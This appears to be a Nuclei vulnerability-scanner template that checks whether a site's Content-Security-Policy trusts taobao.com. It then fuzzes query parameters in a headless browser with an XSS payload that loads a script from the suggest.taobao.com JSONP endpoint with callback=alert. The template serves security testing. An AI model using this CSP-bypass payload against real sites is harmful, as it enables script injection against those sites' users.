id: taobao-suggest-csp-bypass

info:
  name: Content-Security-Policy Bypass - Taobao Suggest
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,taobao-suggest

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "taobao.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: taobao_suggest_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://suggest.taobao.com/sug?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "taobao_suggest_csp_xss == true"
# digest: 4a0a00473045022100a36b9600ac844d7d2f27dab2e7c77c679508856e20b0a9eee782f79e5c1b352402203e2c666134649b3a1120402774113c755512b9e6208bdef1a4ed4e1a23a17b4f:922c64590222798bb761d5b6d8e72950